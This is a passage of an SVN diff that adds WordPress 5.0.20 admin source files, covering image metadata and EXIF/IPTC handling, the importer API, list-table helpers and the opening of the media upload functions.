+			'fields' => 'ids',
+			'post_type' => 'attachment',
+			'post_mime_type' => $metadata['image']['mime'],
+			'post_status' => 'inherit',
+			'posts_per_page' => 1,
+			'meta_key' => '_cover_hash',
+			'meta_value' => $hash
+		) );
+		$exists = reset( $posts );
+
+		if ( ! empty( $exists ) ) {
+			update_post_meta( $attachment_id, '_thumbnail_id', $exists );
+		} else {
+			$ext = '.jpg';
+			switch ( $metadata['image']['mime'] ) {
+			case 'image/gif':
+				$ext = '.gif';
+				break;
+			case 'image/png':
+				$ext = '.png';
+				break;
+			}
+			$basename = str_replace( '.', '-', basename( $file ) ) . '-image' . $ext;
+			$uploaded = wp_upload_bits( $basename, '', $metadata['image']['data'] );
+			if ( false === $uploaded['error'] ) {
+				$image_attachment = array(
+					'post_mime_type' => $metadata['image']['mime'],
+					'post_type' => 'attachment',
+					'post_content' => '',
+				);
+				/**
+				 * Filters the parameters for the attachment thumbnail creation.
+				 *
+				 * @since 3.9.0
+				 *
+				 * @param array $image_attachment An array of parameters to create the thumbnail.
+				 * @param array $metadata         Current attachment metadata.
+				 * @param array $uploaded         An array containing the thumbnail path and url.
+				 */
+				$image_attachment = apply_filters( 'attachment_thumbnail_args', $image_attachment, $metadata, $uploaded );
+
+				$sub_attachment_id = wp_insert_attachment( $image_attachment, $uploaded['file'] );
+				add_post_meta( $sub_attachment_id, '_cover_hash', $hash );
+				$attach_data = wp_generate_attachment_metadata( $sub_attachment_id, $uploaded['file'] );
+				wp_update_attachment_metadata( $sub_attachment_id, $attach_data );
+				update_post_meta( $attachment_id, '_thumbnail_id', $sub_attachment_id );
+			}
+		}
+	}
+	// Try to create image thumbnails for PDFs
+	else if ( 'application/pdf' === $mime_type ) {
+		$fallback_sizes = array(
+			'thumbnail',
+			'medium',
+			'large',
+		);
+
+		/**
+		 * Filters the image sizes generated for non-image mime types.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param array $fallback_sizes An array of image size names.
+		 * @param array $metadata       Current attachment metadata.
+		 */
+		$fallback_sizes = apply_filters( 'fallback_intermediate_image_sizes', $fallback_sizes, $metadata );
+
+		$sizes = array();
+		$_wp_additional_image_sizes = wp_get_additional_image_sizes();
+
+		foreach ( $fallback_sizes as $s ) {
+			if ( isset( $_wp_additional_image_sizes[ $s ]['width'] ) ) {
+				$sizes[ $s ]['width'] = intval( $_wp_additional_image_sizes[ $s ]['width'] );
+			} else {
+				$sizes[ $s ]['width'] = get_option( "{$s}_size_w" );
+			}
+
+			if ( isset( $_wp_additional_image_sizes[ $s ]['height'] ) ) {
+				$sizes[ $s ]['height'] = intval( $_wp_additional_image_sizes[ $s ]['height'] );
+			} else {
+				$sizes[ $s ]['height'] = get_option( "{$s}_size_h" );
+			}
+
+			if ( isset( $_wp_additional_image_sizes[ $s ]['crop'] ) ) {
+				$sizes[ $s ]['crop'] = $_wp_additional_image_sizes[ $s ]['crop'];
+			} else {
+				// Force thumbnails to be soft crops.
+				if ( 'thumbnail' !== $s ) {
+					$sizes[ $s ]['crop'] = get_option( "{$s}_crop" );
+				}
+			}
+		}
+
+		// Only load PDFs in an image editor if we're processing sizes.
+		if ( ! empty( $sizes ) ) {
+			$editor = wp_get_image_editor( $file );
+
+			if ( ! is_wp_error( $editor ) ) { // No support for this type of file
+				/*
+				 * PDFs may have the same file filename as JPEGs.
+				 * Ensure the PDF preview image does not overwrite any JPEG images that already exist.
+				 */
+				$dirname = dirname( $file ) . '/';
+				$ext = '.' . pathinfo( $file, PATHINFO_EXTENSION );
+				$preview_file = $dirname . wp_unique_filename( $dirname, wp_basename( $file, $ext ) . '-pdf.jpg' );
+
+				$uploaded = $editor->save( $preview_file, 'image/jpeg' );
+				unset( $editor );
+
+				// Resize based on the full size image, rather than the source.
+				if ( ! is_wp_error( $uploaded ) ) {
+					$editor = wp_get_image_editor( $uploaded['path'] );
+					unset( $uploaded['path'] );
+
+					if ( ! is_wp_error( $editor ) ) {
+						$metadata['sizes'] = $editor->multi_resize( $sizes );
+						$metadata['sizes']['full'] = $uploaded;
+					}
+				}
+			}
+		}
+	}
+
+	// Remove the blob of binary data from the array.
+	if ( $metadata ) {
+		unset( $metadata['image']['data'] );
+	}
+
+	/**
+	 * Filters the generated attachment meta data.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param array $metadata      An array of attachment meta data.
+	 * @param int   $attachment_id Current attachment ID.
+	 */
+	return apply_filters( 'wp_generate_attachment_metadata', $metadata, $attachment_id );
+}
+
+/**
+ * Convert a fraction string to a decimal.
+ *
+ * @since 2.5.0
+ *
+ * @param string $str
+ * @return int|float
+ */
+function wp_exif_frac2dec($str) {
+	@list( $n, $d ) = explode( '/', $str );
+	if ( !empty($d) )
+		return $n / $d;
+	return $str;
+}
+
+/**
+ * Convert the exif date format to a unix timestamp.
+ *
+ * @since 2.5.0
+ *
+ * @param string $str
+ * @return int
+ */
+function wp_exif_date2ts($str) {
+	@list( $date, $time ) = explode( ' ', trim($str) );
+	@list( $y, $m, $d ) = explode( ':', $date );
+
+	return strtotime( "{$y}-{$m}-{$d} {$time}" );
+}
+
+/**
+ * Get extended image metadata, exif or iptc as available.
+ *
+ * Retrieves the EXIF metadata aperture, credit, camera, caption, copyright, iso
+ * created_timestamp, focal_length, shutter_speed, and title.
+ *
+ * The IPTC metadata that is retrieved is APP13, credit, byline, created date
+ * and time, caption, copyright, and title. Also includes FNumber, Model,
+ * DateTimeDigitized, FocalLength, ISOSpeedRatings, and ExposureTime.
+ *
+ * @todo Try other exif libraries if available.
+ * @since 2.5.0
+ *
+ * @param string $file
+ * @return bool|array False on failure. Image metadata array on success.
+ */
+function wp_read_image_metadata( $file ) {
+	if ( ! file_exists( $file ) )
+		return false;
+
+	list( , , $image_type ) = @getimagesize( $file );
+
+	/*
+	 * EXIF contains a bunch of data we'll probably never need formatted in ways
+	 * that are difficult to use. We'll normalize it and just extract the fields
+	 * that are likely to be useful. Fractions and numbers are converted to
+	 * floats, dates to unix timestamps, and everything else to strings.
+	 */
+	$meta = array(
+		'aperture' => 0,
+		'credit' => '',
+		'camera' => '',
+		'caption' => '',
+		'created_timestamp' => 0,
+		'copyright' => '',
+		'focal_length' => 0,
+		'iso' => 0,
+		'shutter_speed' => 0,
+		'title' => '',
+		'orientation' => 0,
+		'keywords' => array(),
+	);
+
+	$iptc = array();
+	/*
+	 * Read IPTC first, since it might contain data not available in exif such
+	 * as caption, description etc.
+	 */
+	if ( is_callable( 'iptcparse' ) ) {
+		@getimagesize( $file, $info );
+
+		if ( ! empty( $info['APP13'] ) ) {
+			$iptc = @iptcparse( $info['APP13'] );
+
+			// Headline, "A brief synopsis of the caption."
+			if ( ! empty( $iptc['2#105'][0] ) ) {
+				$meta['title'] = trim( $iptc['2#105'][0] );
+			/*
+			 * Title, "Many use the Title field to store the filename of the image,
+			 * though the field may be used in many ways."
+			 */
+			} elseif ( ! empty( $iptc['2#005'][0] ) ) {
+				$meta['title'] = trim( $iptc['2#005'][0] );
+			}
+
+			if ( ! empty( $iptc['2#120'][0] ) ) { // description / legacy caption
+				$caption = trim( $iptc['2#120'][0] );
+
+				mbstring_binary_safe_encoding();
+				$caption_length = strlen( $caption );
+				reset_mbstring_encoding();
+
+				if ( empty( $meta['title'] ) && $caption_length < 80 ) {
+					// Assume the title is stored in 2:120 if it's short.
+					$meta['title'] = $caption;
+				}
+
+				$meta['caption'] = $caption;
+			}
+
+			if ( ! empty( $iptc['2#110'][0] ) ) // credit
+				$meta['credit'] = trim( $iptc['2#110'][0] );
+			elseif ( ! empty( $iptc['2#080'][0] ) ) // creator / legacy byline
+				$meta['credit'] = trim( $iptc['2#080'][0] );
+
+			if ( ! empty( $iptc['2#055'][0] ) && ! empty( $iptc['2#060'][0] ) ) // created date and time
+				$meta['created_timestamp'] = strtotime( $iptc['2#055'][0] . ' ' . $iptc['2#060'][0] );
+
+			if ( ! empty( $iptc['2#116'][0] ) ) // copyright
+				$meta['copyright'] = trim( $iptc['2#116'][0] );
+
+			if ( ! empty( $iptc['2#025'][0] ) ) { // keywords array
+				$meta['keywords'] = array_values( $iptc['2#025'] );
+			}
+		 }
+	}
+
+	$exif = array(); 
+
+	/**
+	 * Filters the image types to check for exif data.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array $image_types Image types to check for exif data.
+	 */
+	$exif_image_types = apply_filters( 'wp_read_image_metadata_types', array( IMAGETYPE_JPEG, IMAGETYPE_TIFF_II, IMAGETYPE_TIFF_MM ) );
+
+	if ( is_callable( 'exif_read_data' ) && in_array( $image_type, $exif_image_types ) ) {
+		$exif = @exif_read_data( $file );
+
+		if ( ! empty( $exif['ImageDescription'] ) ) {
+			mbstring_binary_safe_encoding();
+			$description_length = strlen( $exif['ImageDescription'] );
+			reset_mbstring_encoding();
+
+			if ( empty( $meta['title'] ) && $description_length < 80 ) {
+				// Assume the title is stored in ImageDescription
+				$meta['title'] = trim( $exif['ImageDescription'] );
+			}
+
+			if ( empty( $meta['caption'] ) && ! empty( $exif['COMPUTED']['UserComment'] ) ) {
+				$meta['caption'] = trim( $exif['COMPUTED']['UserComment'] );
+			}
+
+			if ( empty( $meta['caption'] ) ) {
+				$meta['caption'] = trim( $exif['ImageDescription'] );
+			}
+		} elseif ( empty( $meta['caption'] ) && ! empty( $exif['Comments'] ) ) {
+			$meta['caption'] = trim( $exif['Comments'] );
+		}
+
+		if ( empty( $meta['credit'] ) ) {
+			if ( ! empty( $exif['Artist'] ) ) {
+				$meta['credit'] = trim( $exif['Artist'] );
+			} elseif ( ! empty($exif['Author'] ) ) {
+				$meta['credit'] = trim( $exif['Author'] );
+			}
+		}
+
+		if ( empty( $meta['copyright'] ) && ! empty( $exif['Copyright'] ) ) {
+			$meta['copyright'] = trim( $exif['Copyright'] );
+		}
+		if ( ! empty( $exif['FNumber'] ) ) {
+			$meta['aperture'] = round( wp_exif_frac2dec( $exif['FNumber'] ), 2 );
+		}
+		if ( ! empty( $exif['Model'] ) ) {
+			$meta['camera'] = trim( $exif['Model'] );
+		}
+		if ( empty( $meta['created_timestamp'] ) && ! empty( $exif['DateTimeDigitized'] ) ) {
+			$meta['created_timestamp'] = wp_exif_date2ts( $exif['DateTimeDigitized'] );
+		}
+		if ( ! empty( $exif['FocalLength'] ) ) {
+			$meta['focal_length'] = (string) wp_exif_frac2dec( $exif['FocalLength'] );
+		}
+		if ( ! empty( $exif['ISOSpeedRatings'] ) ) {
+			$meta['iso'] = is_array( $exif['ISOSpeedRatings'] ) ? reset( $exif['ISOSpeedRatings'] ) : $exif['ISOSpeedRatings'];
+			$meta['iso'] = trim( $meta['iso'] );
+		}
+		if ( ! empty( $exif['ExposureTime'] ) ) {
+			$meta['shutter_speed'] = (string) wp_exif_frac2dec( $exif['ExposureTime'] );
+		}
+		if ( ! empty( $exif['Orientation'] ) ) {
+			$meta['orientation'] = $exif['Orientation'];
+		}
+	}
+
+	foreach ( array( 'title', 'caption', 'credit', 'copyright', 'camera', 'iso' ) as $key ) {
+		if ( $meta[ $key ] && ! seems_utf8( $meta[ $key ] ) ) {
+			$meta[ $key ] = utf8_encode( $meta[ $key ] );
+		}
+	}
+
+	foreach ( $meta['keywords'] as $key => $keyword ) {
+		if ( ! seems_utf8( $keyword ) ) {
+			$meta['keywords'][ $key ] = utf8_encode( $keyword );
+		}
+	}
+
+	$meta = wp_kses_post_deep( $meta );
+
+	/**
+	 * Filters the array of meta data read from an image's exif data.
+	 *
+	 * @since 2.5.0
+	 * @since 4.4.0 The `$iptc` parameter was added.
+	 * @since 5.0.0 The `$exif` parameter was added.
+	 *
+	 * @param array  $meta       Image meta data.
+	 * @param string $file       Path to image file.
+	 * @param int    $image_type Type of image, one of the `IMAGETYPE_XXX` constants.
+	 * @param array  $iptc       IPTC data.
+	 * @param array  $exif       EXIF data.
+	 */
+	return apply_filters( 'wp_read_image_metadata', $meta, $file, $image_type, $iptc, $exif );
+
+}
+
+/**
+ * Validate that file is an image.
+ *
+ * @since 2.5.0
+ *
+ * @param string $path File path to test if valid image.
+ * @return bool True if valid image, false if not valid image.
+ */
+function file_is_valid_image($path) {
+	$size = @getimagesize($path);
+	return !empty($size);
+}
+
+/**
+ * Validate that file is suitable for displaying within a web page.
+ *
+ * @since 2.5.0
+ *
+ * @param string $path File path to test.
+ * @return bool True if suitable, false if not suitable.
+ */
+function file_is_displayable_image($path) {
+	$displayable_image_types = array( IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG, IMAGETYPE_BMP );
+
+	$info = @getimagesize( $path );
+	if ( empty( $info ) ) {
+		$result = false;
+	} elseif ( ! in_array( $info[2], $displayable_image_types ) ) {
+		$result = false;
+	} else {
+		$result = true;
+	}
+
+	/**
+	 * Filters whether the current image is displayable in the browser.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param bool   $result Whether the image can be displayed. Default true.
+	 * @param string $path   Path to the image.
+	 */
+	return apply_filters( 'file_is_displayable_image', $result, $path );
+}
+
+/**
+ * Load an image resource for editing.
+ *
+ * @since 2.9.0
+ *
+ * @param string $attachment_id Attachment ID.
+ * @param string $mime_type Image mime type.
+ * @param string $size Optional. Image size, defaults to 'full'.
+ * @return resource|false The resulting image resource on success, false on failure.
+ */
+function load_image_to_edit( $attachment_id, $mime_type, $size = 'full' ) {
+	$filepath = _load_image_to_edit_path( $attachment_id, $size );
+	if ( empty( $filepath ) )
+		return false;
+
+	switch ( $mime_type ) {
+		case 'image/jpeg':
+			$image = imagecreatefromjpeg($filepath);
+			break;
+		case 'image/png':
+			$image = imagecreatefrompng($filepath);
+			break;
+		case 'image/gif':
+			$image = imagecreatefromgif($filepath);
+			break;
+		default:
+			$image = false;
+			break;
+	}
+	if ( is_resource($image) ) {
+		/**
+		 * Filters the current image being loaded for editing.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param resource $image         Current image.
+		 * @param string   $attachment_id Attachment ID.
+		 * @param string   $size          Image size.
+		 */
+		$image = apply_filters( 'load_image_to_edit', $image, $attachment_id, $size );
+		if ( function_exists('imagealphablending') && function_exists('imagesavealpha') ) {
+			imagealphablending($image, false);
+			imagesavealpha($image, true);
+		}
+	}
+	return $image;
+}
+
+/**
+ * Retrieve the path or url of an attachment's attached file.
+ *
+ * If the attached file is not present on the local filesystem (usually due to replication plugins),
+ * then the url of the file is returned if url fopen is supported.
+ *
+ * @since 3.4.0
+ * @access private
+ *
+ * @param string $attachment_id Attachment ID.
+ * @param string $size Optional. Image size, defaults to 'full'.
+ * @return string|false File path or url on success, false on failure.
+ */
+function _load_image_to_edit_path( $attachment_id, $size = 'full' ) {
+	$filepath = get_attached_file( $attachment_id );
+
+	if ( $filepath && file_exists( $filepath ) ) {
+		if ( 'full' != $size && ( $data = image_get_intermediate_size( $attachment_id, $size ) ) ) {
+			/**
+			 * Filters the path to the current image.
+			 *
+			 * The filter is evaluated for all image sizes except 'full'.
+			 *
+			 * @since 3.1.0
+			 *
+			 * @param string $path          Path to the current image.
+			 * @param string $attachment_id Attachment ID.
+			 * @param string $size          Size of the image.
+			 */
+			$filepath = apply_filters( 'load_image_to_edit_filesystempath', path_join( dirname( $filepath ), $data['file'] ), $attachment_id, $size );
+		}
+	} elseif ( function_exists( 'fopen' ) && true == ini_get( 'allow_url_fopen' ) ) {
+		/**
+		 * Filters the image URL if not in the local filesystem.
+		 *
+		 * The filter is only evaluated if fopen is enabled on the server.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param string $image_url     Current image URL.
+		 * @param string $attachment_id Attachment ID.
+		 * @param string $size          Size of the image.
+		 */
+		$filepath = apply_filters( 'load_image_to_edit_attachmenturl', wp_get_attachment_url( $attachment_id ), $attachment_id, $size );
+	}
+
+	/**
+	 * Filters the returned path or URL of the current image.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string|bool $filepath      File path or URL to current image, or false.
+	 * @param string      $attachment_id Attachment ID.
+	 * @param string      $size          Size of the image.
+	 */
+	return apply_filters( 'load_image_to_edit_path', $filepath, $attachment_id, $size );
+}
+
+/**
+ * Copy an existing image file.
+ *
+ * @since 3.4.0
+ * @access private
+ *
+ * @param string $attachment_id Attachment ID.
+ * @return string|false New file path on success, false on failure.
+ */
+function _copy_image_file( $attachment_id ) {
+	$dst_file = $src_file = get_attached_file( $attachment_id );
+	if ( ! file_exists( $src_file ) )
+		$src_file = _load_image_to_edit_path( $attachment_id );
+
+	if ( $src_file ) {
+		$dst_file = str_replace( basename( $dst_file ), 'copy-' . basename( $dst_file ), $dst_file );
+		$dst_file = dirname( $dst_file ) . '/' . wp_unique_filename( dirname( $dst_file ), basename( $dst_file ) );
+
+		/*
+		 * The directory containing the original file may no longer
+		 * exist when using a replication plugin.
+		 */
+		wp_mkdir_p( dirname( $dst_file ) );
+
+		if ( ! @copy( $src_file, $dst_file ) )
+			$dst_file = false;
+	} else {
+		$dst_file = false;
+	}
+
+	return $dst_file;
+}
Index: /tags/5.0.20/src/wp-admin/includes/import.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/import.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/import.php	(revision 56912)
@@ -0,0 +1,217 @@
+<?php
+/**
+ * WordPress Administration Importer API.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Retrieve list of importers.
+ *
+ * @since 2.0.0
+ *
+ * @global array $wp_importers
+ * @return array
+ */
+function get_importers() {
+	global $wp_importers;
+	if ( is_array( $wp_importers ) ) {
+		uasort( $wp_importers, '_usort_by_first_member' );
+	}
+	return $wp_importers;
+}
+
+/**
+ * Sorts a multidimensional array by first member of each top level member
+ *
+ * Used by uasort() as a callback, should not be used directly.
+ *
+ * @since 2.9.0
+ * @access private
+ *
+ * @param array $a
+ * @param array $b
+ * @return int
+ */
+function _usort_by_first_member( $a, $b ) {
+	return strnatcasecmp( $a[0], $b[0] );
+}
+
+/**
+ * Register importer for WordPress.
+ *
+ * @since 2.0.0
+ *
+ * @global array $wp_importers
+ *
+ * @param string   $id          Importer tag. Used to uniquely identify importer.
+ * @param string   $name        Importer name and title.
+ * @param string   $description Importer description.
+ * @param callable $callback    Callback to run.
+ * @return WP_Error Returns WP_Error when $callback is WP_Error.
+ */
+function register_importer( $id, $name, $description, $callback ) {
+	global $wp_importers;
+	if ( is_wp_error( $callback ) )
+		return $callback;
+	$wp_importers[$id] = array ( $name, $description, $callback );
+}
+
+/**
+ * Cleanup importer.
+ *
+ * Removes attachment based on ID.
+ *
+ * @since 2.0.0
+ *
+ * @param string $id Importer ID.
+ */
+function wp_import_cleanup( $id ) {
+	wp_delete_attachment( $id );
+}
+
+/**
+ * Handle importer uploading and add attachment.
+ *
+ * @since 2.0.0
+ *
+ * @return array Uploaded file's details on success, error message on failure
+ */
+function wp_import_handle_upload() {
+	if ( ! isset( $_FILES['import'] ) ) {
+		return array(
+			'error' => __( 'File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini or by post_max_size being defined as smaller than upload_max_filesize in php.ini.' )
+		);
+	}
+
+	$overrides = array( 'test_form' => false, 'test_type' => false );
+	$_FILES['import']['name'] .= '.txt';
+	$upload = wp_handle_upload( $_FILES['import'], $overrides );
+
+	if ( isset( $upload['error'] ) ) {
+		return $upload;
+	}
+
+	// Construct the object array
+	$object = array(
+		'post_title' => basename( $upload['file'] ),
+		'post_content' => $upload['url'],
+		'post_mime_type' => $upload['type'],
+		'guid' => $upload['url'],
+		'context' => 'import',
+		'post_status' => 'private'
+	);
+
+	// Save the data
+	$id = wp_insert_attachment( $object, $upload['file'] );
+
+	/*
+	 * Schedule a cleanup for one day from now in case of failed
+	 * import or missing wp_import_cleanup() call.
+	 */
+	wp_schedule_single_event( time() + DAY_IN_SECONDS, 'importer_scheduled_cleanup', array( $id ) );
+
+	return array( 'file' => $upload['file'], 'id' => $id );
+}
+
+/**
+ * Returns a list from WordPress.org of popular importer plugins.
+ *
+ * @since 3.5.0
+ *
+ * @return array Importers with metadata for each.
+ */
+function wp_get_popular_importers() {
+	include( ABSPATH . WPINC . '/version.php' ); // include an unmodified $wp_version
+
+	$locale = get_user_locale();
+	$cache_key = 'popular_importers_' . md5( $locale . $wp_version );
+	$popular_importers = get_site_transient( $cache_key );
+
+	if ( ! $popular_importers ) {
+		$url = add_query_arg( array(
+			'locale'  => $locale,
+			'version' => $wp_version,
+		), 'http://api.wordpress.org/core/importers/1.1/' );
+		$options = array( 'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url( '/' ) );
+
+		if ( wp_http_supports( array( 'ssl' ) ) ) {
+			$url = set_url_scheme( $url, 'https' );
+		}
+
+		$response = wp_remote_get( $url, $options );
+		$popular_importers = json_decode( wp_remote_retrieve_body( $response ), true );
+
+		if ( is_array( $popular_importers ) ) {
+			set_site_transient( $cache_key, $popular_importers, 2 * DAY_IN_SECONDS );
+		} else {
+			$popular_importers = false;
+		}
+	}
+
+	if ( is_array( $popular_importers ) ) {
+		// If the data was received as translated, return it as-is.
+		if ( $popular_importers['translated'] )
+			return $popular_importers['importers'];
+
+		foreach ( $popular_importers['importers'] as &$importer ) {
+			$importer['description'] = translate( $importer['description'] );
+			if ( $importer['name'] != 'WordPress' )
+				$importer['name'] = translate( $importer['name'] );
+		}
+		return $popular_importers['importers'];
+	}
+
+	return array(
+		// slug => name, description, plugin slug, and register_importer() slug
+		'blogger' => array(
+			'name' => __( 'Blogger' ),
+			'description' => __( 'Import posts, comments, and users from a Blogger blog.' ),
+			'plugin-slug' => 'blogger-importer',
+			'importer-id' => 'blogger',
+		),
+		'wpcat2tag' => array(
+			'name' => __( 'Categories and Tags Converter' ),
+			'description' => __( 'Convert existing categories to tags or tags to categories, selectively.' ),
+			'plugin-slug' => 'wpcat2tag-importer',
+			'importer-id' => 'wp-cat2tag',
+		),
+		'livejournal' => array(
+			'name' => __( 'LiveJournal' ),
+			'description' => __( 'Import posts from LiveJournal using their API.' ),
+			'plugin-slug' => 'livejournal-importer',
+			'importer-id' => 'livejournal',
+		),
+		'movabletype' => array(
+			'name' => __( 'Movable Type and TypePad' ),
+			'description' => __( 'Import posts and comments from a Movable Type or TypePad blog.' ),
+			'plugin-slug' => 'movabletype-importer',
+			'importer-id' => 'mt',
+		),
+		'opml' => array(
+			'name' => __( 'Blogroll' ),
+			'description' => __( 'Import links in OPML format.' ),
+			'plugin-slug' => 'opml-importer',
+			'importer-id' => 'opml',
+		),
+		'rss' => array(
+			'name' => __( 'RSS' ),
+			'description' => __( 'Import posts from an RSS feed.' ),
+			'plugin-slug' => 'rss-importer',
+			'importer-id' => 'rss',
+		),
+		'tumblr' => array(
+			'name' => __( 'Tumblr' ),
+			'description' => __( 'Import posts &amp; media from Tumblr using their API.' ),
+			'plugin-slug' => 'tumblr-importer',
+			'importer-id' => 'tumblr',
+		),
+		'wordpress' => array(
+			'name' => 'WordPress',
+			'description' => __( 'Import posts, pages, comments, custom fields, categories, and tags from a WordPress export file.' ),
+			'plugin-slug' => 'wordpress-importer',
+			'importer-id' => 'wordpress',
+		),
+	);
+}
Index: /tags/5.0.20/src/wp-admin/includes/list-table.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/list-table.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/list-table.php	(revision 56912)
@@ -0,0 +1,84 @@
+<?php
+/**
+ * Helper functions for displaying a list of items in an ajaxified HTML table.
+ *
+ * @package WordPress
+ * @subpackage List_Table
+ * @since 3.1.0
+ */
+
+/**
+ * Fetch an instance of a WP_List_Table class.
+ *
+ * @access private
+ * @since 3.1.0
+ *
+ * @global string $hook_suffix
+ *
+ * @param string $class The type of the list table, which is the class name.
+ * @param array $args Optional. Arguments to pass to the class. Accepts 'screen'.
+ * @return object|bool Object on success, false if the class does not exist.
+ */
+function _get_list_table( $class, $args = array() ) {
+	$core_classes = array(
+		//Site Admin
+		'WP_Posts_List_Table' => 'posts',
+		'WP_Media_List_Table' => 'media',
+		'WP_Terms_List_Table' => 'terms',
+		'WP_Users_List_Table' => 'users',
+		'WP_Comments_List_Table' => 'comments',
+		'WP_Post_Comments_List_Table' => array( 'comments', 'post-comments' ),
+		'WP_Links_List_Table' => 'links',
+		'WP_Plugin_Install_List_Table' => 'plugin-install',
+		'WP_Themes_List_Table' => 'themes',
+		'WP_Theme_Install_List_Table' => array( 'themes', 'theme-install' ),
+		'WP_Plugins_List_Table' => 'plugins',
+		// Network Admin
+		'WP_MS_Sites_List_Table' => 'ms-sites',
+		'WP_MS_Users_List_Table' => 'ms-users',
+		'WP_MS_Themes_List_Table' => 'ms-themes',
+	);
+
+	if ( isset( $core_classes[ $class ] ) ) {
+		foreach ( (array) $core_classes[ $class ] as $required )
+			require_once( ABSPATH . 'wp-admin/includes/class-wp-' . $required . '-list-table.php' );
+
+		if ( isset( $args['screen'] ) )
+			$args['screen'] = convert_to_screen( $args['screen'] );
+		elseif ( isset( $GLOBALS['hook_suffix'] ) )
+			$args['screen'] = get_current_screen();
+		else
+			$args['screen'] = null;
+
+		return new $class( $args );
+	}
+
+	return false;
+}
+
+/**
+ * Register column headers for a particular screen.
+ *
+ * @since 2.7.0
+ *
+ * @param string $screen The handle for the screen to add help to. This is usually the hook name returned by the add_*_page() functions.
+ * @param array $columns An array of columns with column IDs as the keys and translated column names as the values
+ * @see get_column_headers(), print_column_headers(), get_hidden_columns()
+ */
+function register_column_headers($screen, $columns) {
+	new _WP_List_Table_Compat( $screen, $columns );
+}
+
+/**
+ * Prints column headers for a particular screen.
+ *
+ * @since 2.7.0
+ *
+ * @param string|WP_Screen $screen  The screen hook name or screen object.
+ * @param bool             $with_id Whether to set the id attribute or not.
+ */
+function print_column_headers( $screen, $with_id = true ) {
+	$wp_list_table = new _WP_List_Table_Compat($screen);
+
+	$wp_list_table->print_column_headers( $with_id );
+}
Index: /tags/5.0.20/src/wp-admin/includes/media.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/media.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/media.php	(revision 56912)
@@ -0,0 +1,3269 @@
+<?php
+/**
+ * WordPress Administration Media API.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Defines the default media upload tabs
+ *
+ * @since 2.5.0
+ *
+ * @return array default tabs
+ */
+function media_upload_tabs() {
+	$_default_tabs = array(
+		'type' => __('From Computer'), // handler action suffix => tab text
+		'type_url' => __('From URL'),
+		'gallery' => __('Gallery'),
+		'library' => __('Media Library')
+	);
+
+	/**
+	 * Filters the available tabs in the legacy (pre-3.5.0) media popup.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array $_default_tabs An array of media tabs.
+	 */
+	return apply_filters( 'media_upload_tabs', $_default_tabs );
+}
+
+/**
+ * Adds the gallery tab back to the tabs array if post has image attachments
+ *
+ * @since 2.5.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array $tabs
+ * @return array $tabs with gallery if post has image attachment
+ */
+function update_gallery_tab($tabs) {
+	global $wpdb;
+
+	if ( !isset($_REQUEST['post_id']) ) {
+		unset($tabs['gallery']);
+		return $tabs;
+	}
+
+	$post_id = intval($_REQUEST['post_id']);
+
+	if ( $post_id )
+		$attachments = intval( $wpdb->get_var( $wpdb->prepare( "SELECT count(*) FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status != 'trash' AND post_parent = %d", $post_id ) ) );
+
+	if ( empty($attachments) ) {
+		unset($tabs['gallery']);
+		return $tabs;
+	}
+
+	$tabs['gallery'] = sprintf(__('Gallery (%s)'), "<span id='attachments-count'>$attachments</span>");
+
+	return $tabs;
+}
+
+/**
+ * Outputs the legacy media upload tabs UI.
+ *
+ * @since 2.5.0
+ *
+ * @global string $redir_tab
+ */
+function the_media_upload_tabs() {
+	global $redir_tab;
+	$tabs = media_upload_tabs();
+	$default = 'type';
+
+	if ( !empty($tabs) ) {
+		echo "<ul id='sidemenu'>\n";
+		if ( isset($redir_tab) && array_key_exists($redir_tab, $tabs) ) {
+			$current = $redir_tab;
+		} elseif ( isset($_GET['tab']) && array_key_exists($_GET['tab'], $tabs) ) {
+			$current = $_GET['tab'];
+		} else {
+			/** This filter is documented in wp-admin/media-upload.php */
+			$current = apply_filters( 'media_upload_default_tab', $default );
+		}
+
+		foreach ( $tabs as $callback => $text ) {
+			$class = '';
+
+			if ( $current == $callback )
+				$class = " class='current'";
+
+			$href = add_query_arg(array('tab' => $callback, 's' => false, 'paged' => false, 'post_mime_type' => false, 'm' => false));
+			$link = "<a href='" . esc_url($href) . "'$class>$text</a>";
+			echo "\t<li id='" . esc_attr("tab-$callback") . "'>$link</li>\n";
+		}
+		echo "</ul>\n";
+	}
+}
+
+/**
+ * Retrieves the image HTML to send to the editor.
+ *
+ * @since 2.5.0
+ *
+ * @param int          $id      Image attachment id.
+ * @param string       $caption Image caption.
+ * @param string       $title   Image title attribute.
+ * @param string       $align   Image CSS alignment property.
+ * @param string       $url     Optional. Image src URL. Default empty.
+ * @param bool|string  $rel     Optional. Value for rel attribute or whether to add a default value. Default false.
+ * @param string|array $size    Optional. Image size. Accepts any valid image size, or an array of width
+ *                              and height values in pixels (in that order). Default 'medium'.
+ * @param string       $alt     Optional. Image alt attribute. Default empty.
+ * @return string The HTML output to insert into the editor.
+ */
+function get_image_send_to_editor( $id, $caption, $title, $align, $url = '', $rel = false, $size = 'medium', $alt = '' ) {
+
+	$html = get_image_tag( $id, $alt, '', $align, $size );
+
+	if ( $rel ) {
+		if ( is_string( $rel ) ) {
+			$rel = ' rel="' . esc_attr( $rel ) . '"';
+		} else {
+			$rel = ' rel="attachment wp-att-' . intval( $id ) . '"';
+		}
+	} else {
+		$rel = '';
+	}
+
+	if ( $url )
